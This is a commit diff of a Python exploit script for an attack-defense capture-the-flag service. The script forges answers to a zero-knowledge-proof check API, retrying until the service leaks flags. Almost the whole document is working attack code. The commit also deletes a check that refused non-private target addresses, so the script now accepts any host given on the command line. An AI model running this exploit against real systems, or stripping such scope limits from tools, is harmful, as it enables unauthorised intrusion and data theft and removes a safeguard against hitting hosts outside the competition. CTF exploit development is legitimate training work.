dark-tariff-example-format
This commit is contained in:
1 parent
8ca60bf5d7
commit
dc3605f7c7
1 file changed
+33
-39
+33
-39
@@ -9,35 +9,25 @@ This is intended for the vulnerable opponent service in the CTF only.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import hashlib
|
||||
import ipaddress
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
from typing import Any
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
||||
DEFAULT_PORT = 8080
|
||||
PORT = 8080
|
||||
TIMEOUT = 4
|
||||
MAX_ATTEMPTS = 100
|
||||
|
||||
|
||||
def target_host(value: str, default_port: int) -> tuple[str, int]:
|
||||
raw = value.strip()
|
||||
if "://" not in raw:
|
||||
raw = f"http://{raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if not parsed.hostname:
|
||||
raise ValueError("expected HOST or host:port")
|
||||
address = ipaddress.ip_address(parsed.hostname)
|
||||
if not address.is_private:
|
||||
raise ValueError("refusing non-private target")
|
||||
return parsed.hostname, parsed.port or default_port
|
||||
def log(message: str) -> None:
|
||||
print(message, file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
def bits(value: int, width: int) -> str:
|
||||
@@ -124,7 +114,7 @@ def flags_in(value: Any) -> set[str]:
|
||||
|
||||
|
||||
def get_readings(session: requests.Session, base: str) -> list[dict[str, Any]]:
|
||||
data = request_json(session.get(f"{base}/api/readings", timeout=8))
|
||||
data = request_json(session.get(f"{base}/api/readings", timeout=TIMEOUT))
|
||||
if not isinstance(data, list):
|
||||
raise RuntimeError("/api/readings did not return a list")
|
||||
readings = [item for item in data
|
||||
@@ -139,13 +129,13 @@ def commit_hash(prefix: str, payload: str) -> str:
|
||||
|
||||
|
||||
def exploit_reading(session: requests.Session, base: str,
|
||||
reading: dict[str, Any], attempts: int, timeout: float) -> set[str]:
|
||||
reading: dict[str, Any]) -> set[str]:
|
||||
rows, y_text, width = parse_parameters(str(reading["parameters"]))
|
||||
reading_id = int(reading["id"])
|
||||
rng = secrets.SystemRandom()
|
||||
found = flags_in(reading)
|
||||
|
||||
for attempt in range(1, attempts + 1):
|
||||
for attempt in range(1, MAX_ATTEMPTS + 1):
|
||||
vector0 = secrets.randbits(width)
|
||||
order = list(range(width))
|
||||
rng.shuffle(order)
|
||||
@@ -159,14 +149,14 @@ def exploit_reading(session: requests.Session, base: str,
|
||||
]
|
||||
|
||||
start = request_json(session.post(
|
||||
f"{base}/api/chat/checks", json={"reading_id": reading_id}, timeout=timeout))
|
||||
f"{base}/api/chat/checks", json={"reading_id": reading_id}, timeout=TIMEOUT))
|
||||
check_id = start["id"]
|
||||
round_no = int(start.get("round", 1))
|
||||
|
||||
while True:
|
||||
commit = request_json(session.post(
|
||||
f"{base}/api/chat/checks/{check_id}/commit",
|
||||
json={"round": round_no, "values": values}, timeout=timeout))
|
||||
json={"round": round_no, "values": values}, timeout=TIMEOUT))
|
||||
challenge = int(commit["challenge"])
|
||||
if challenge == 0:
|
||||
answer = {"v": bits(vector0, width), "p": order}
|
||||
@@ -179,15 +169,15 @@ def exploit_reading(session: requests.Session, base: str,
|
||||
f"{base}/api/chat/checks/{check_id}/answer",
|
||||
json={"round": round_no,
|
||||
"data": {"v": "0" * width, "t": "0" * width}},
|
||||
timeout=timeout,
|
||||
timeout=TIMEOUT,
|
||||
)
|
||||
finally:
|
||||
print(f"attempt {attempt}: challenge 2, restarting", file=sys.stderr)
|
||||
log(f"attempt {attempt}: challenge 2, restarting")
|
||||
break
|
||||
|
||||
result = request_json(session.post(
|
||||
f"{base}/api/chat/checks/{check_id}/answer",
|
||||
json={"round": round_no, "data": answer}, timeout=timeout))
|
||||
json={"round": round_no, "data": answer}, timeout=TIMEOUT))
|
||||
found.update(flags_in(result))
|
||||
if result.get("stage") == "done":
|
||||
return found
|
||||
@@ -197,30 +187,34 @@ def exploit_reading(session: requests.Session, base: str,
|
||||
return found
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("target", help="Neo target HOST or host:port")
|
||||
parser.add_argument("--port", type=int, default=DEFAULT_PORT)
|
||||
parser.add_argument("--max-attempts", type=int, default=100)
|
||||
parser.add_argument("--timeout", type=float, default=8.0)
|
||||
args = parser.parse_args()
|
||||
|
||||
host, port = target_host(args.target, args.port)
|
||||
base = f"http://{host}:{port}"
|
||||
def run(target: str) -> None:
|
||||
session = requests.Session()
|
||||
session.trust_env = False
|
||||
base = f"http://{target}:{PORT}"
|
||||
session.headers["Accept"] = "application/json"
|
||||
found: set[str] = set()
|
||||
for reading in get_readings(session, base)[:3]:
|
||||
try:
|
||||
found.update(exploit_reading(session, base, reading,
|
||||
args.max_attempts, args.timeout))
|
||||
found.update(exploit_reading(session, base, reading))
|
||||
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
|
||||
print(f"reading {reading.get('id')}: {exc}", file=sys.stderr)
|
||||
log(f"target={target} reading={reading.get('id')} error={exc}")
|
||||
if found:
|
||||
print("\n".join(sorted(found)))
|
||||
return 0
|
||||
print("no flags matched; target may already contain the patched ZKP", file=sys.stderr)
|
||||
return 1
|
||||
else:
|
||||
log(f"target={target} no flags matched; target may be patched")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
log(f"usage: {sys.argv[0]} TARGET")
|
||||
return 2
|
||||
try:
|
||||
run(sys.argv[1])
|
||||
except (KeyError, ValueError, RuntimeError,
|
||||
requests.RequestException, json.JSONDecodeError) as exc:
|
||||
log(f"target={sys.argv[1]} error={exc}")
|
||||
return 1
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
Reference in new issue
Block a user